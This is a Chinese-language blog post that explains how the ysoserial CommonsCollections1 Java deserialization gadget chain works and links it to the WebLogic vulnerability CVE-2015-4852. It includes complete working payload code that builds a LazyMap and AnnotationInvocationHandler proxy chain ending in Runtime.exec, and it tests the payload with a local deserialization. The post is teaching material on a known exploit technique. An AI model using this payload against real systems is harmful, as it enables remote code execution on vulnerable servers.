JAVA安全审计 ysoserial CommonsColletions1分析

前言:

在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链,而是用了LazyMap的get方法

CommonsCollections1

调用链:

/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec() Requires:
commons-collections
*/

调用链入口

这条链的入口还是AnnotationInvocationHandler的readObject。

LazyMap

我们需要寻找在LazyMap中能执行ChainedTransformer#transform方法。

LazyMap执行transform方法的地方在其get方法中。

当执行get()方法时,如果键值不存在,将使用工厂factory.transform创建一个值

这里factory变量是从decorate方法中传入

所以构造payload

//创建一个HashMap
HashMap hashMap = new HashMap();
//传入chain
Map lazymap = LazyMap.decorate(hashMap, chain);

此时我们要找的就是哪里能调用到LazyMap#get方法了

在AnnotationInvocationHandler的invoke方法中,this.memberValues.get调用到了get

this.memberValues是通过AnnotationInvocationHandler构造方法传入

所以通过AnnotationInvocationHandler的invoke方法可以调用到LazyMap#get方法,可是想想怎么调用到invoke呢。

我们来仔细看看AnnotationInvocationHandler类

这个类其实就是一个InvocationHandler,想想JDK动态代理

Person proxyStudent = (Person) Proxy.newProxyInstance(Student.class.getClassLoader(), Student.class.getInterfaces(), proxyHandler);

第一个参数是:被代理对象的ClassLoader。第二个是被代理对象的接口。第三个是创建的InvocationHandler对象

LazyMap传入AnnotationInvocationHandler,再生成AnnotationInvocationHandler的proxy对象。此时proxy对象调用任何方法,都会通过其对应的InvocationHandler中的invoke方法,也就是AnnotationInvocationHandler中的invoke方法。

上面几句话可能有点绕,可以先复习下之前所说过的动态代理的知识再回来看:https://www.cnblogs.com/yyhuni/p/14934747.html

根据上面构造payload:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//向上转型成InvocationHandler才可以在下一步传入Proxy.newProxyInstance
InvocationHandler invocationAnno = (InvocationHandler) constructor.newInstance(Override.class, lazymap);
//创建proxy
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationAnno);

两个注意点:

1.AnnotationInvocationHandler构造方法是包权限,不能直接new,要用反射来创建

2.创建的AnnotationInvocationHandler对象要向上转型成InvocationHandler,才可以在下一步传入Proxy.newProxyInstance

3.生成的proxy对象要转型成Map

关于第三点,其实是为了在下一步构造的时候进行参数传递的匹配,往下看就知道原因了

有了proxy对象了,最后一步就是怎么调用到proxy对象的方法。

在调用链的入口处AnnotationInvocationHandler#readObject

这里调用了this.memberValues的方法,而this.memberValues是通过构造函数传入进来的,所以我们可以把proxy传入AnnotationInvocationHandler,这时候触发了readObject就会触发到proxy的方法了。很巧妙的构造

Object Annotation =  constructor.newInstance(Override.class, proxyAnno);

最终payload:

		//构造反射链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
//创建一个HashMap
HashMap hashMap = new HashMap();
//传入chain
Map lazymap = LazyMap.decorate(hashMap, chain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//构造InvocationHandler传入lazymap
InvocationHandler invocationAnno = (InvocationHandler) constructor.newInstance(Override.class, lazymap);
//创建proxy
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationAnno);
//创建AnnotationInvocationHandler对象,传入proxyAnno
Object Annotation = constructor.newInstance(Override.class, proxyAnno); // 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(Annotation);
oos.flush();
oos.close(); // 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();

简单画了下利用链的流程图

相关漏洞:

WebLogic反序列化漏洞:CVE-2015-4852

欢迎关注我的公众号,同步更新喔

ysoserial CommonsColletions1分析的更多相关文章

  1. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  2. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  3. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  4. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  5. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  6. ysoserial CommonsColletions3分析(1)

    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...

  7. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  8. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

  9. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

随机推荐

  1. C++ //多态 //静态多态:函数重载 和 运算符重载 属于静态多态 ,复用函数名 //动态多态:派生类和虚函数实现运行时多态

    1 //多态 2 //静态多态:函数重载 和 运算符重载 属于静态多态 ,复用函数名 3 //动态多态:派生类和虚函数实现运行时多态 4 5 //静态多态和动态多态的区别 6 //静态多态的函数地址早 ...

  2. 5年Android开发诉苦:47天21家面试,半年空档期觉得整个人生都被毁了

    近日,我在逛某社交论坛时,发现一位做了五年的Android开发将自己这段时间的所有面试经历发表了出来,根据网友自己提供的信息显示,主要面试的地点都在北京,上海等地. 微软和亚马逊刚面试完一面,都是以算 ...

  3. Python3中dict字典的相关操作函数

    字典对象的内建函数 1. clear() 清空字典. 例: >>> a = {1:3, 2:4} >>> a.clear() >>> a {} 2 ...

  4. 如何在Spring Data MongoDB 中保存和查询动态字段

    原文: https://stackoverflow.com/questions/46466562/how-to-save-and-query-dynamic-fields-in-spring-data ...

  5. Linux下的USB总线驱动(一)

    版权所有,转载请说明转自 http://my.csdn.net/weiqing1981127 一.USB理论 1.      USB概念概述 USB1.0版本速度1.5Mbps(低速USB) USB1 ...

  6. shell——sed编辑器

    目录 一.sed编辑器 1.1.sed编辑器工作流程 读取: 执行: 显示: 1.2.格式 1.3.常用选项 1.4.常用操作 1.5.替换 一.sed编辑器 sed是一种流编辑器,流编辑器会在编辑器 ...

  7. 【笔记】主成分分析法PCA的原理及计算

    主成分分析法PCA的原理及计算 主成分分析法 主成分分析法(Principal Component Analysis),简称PCA,其是一种统计方法,是数据降维,简化数据集的一种常用的方法 它本身是一 ...

  8. SpringBoot开发二十一-发送私信

    发送私信功能开发: 功能开发 数据访问层 message-mapper.xml 增加 <insert id="insertMessage" parameterType=&qu ...

  9. RabbitMQ从零到集群高可用(.NetCore5.0) - RabbitMQ简介和六种工作模式详解

    一.RabbitMQ简介 是一个开源的消息代理和队列服务器,用来通过普通协议在完全不同的应用之间共享数据,RabbitMQ是使用Erlang(高并发语言)语言来编写的,并且RabbitMQ是基于AMQ ...

  10. webpack编译遇到的问题:Error: Cannot find module 'webpack-cli/bin/config-yargs'

    运行npm run dev遇到的问题:Error: Cannot find module 'webpack-cli/bin/config-yargs' // 当前package.json 文件 ​ & ...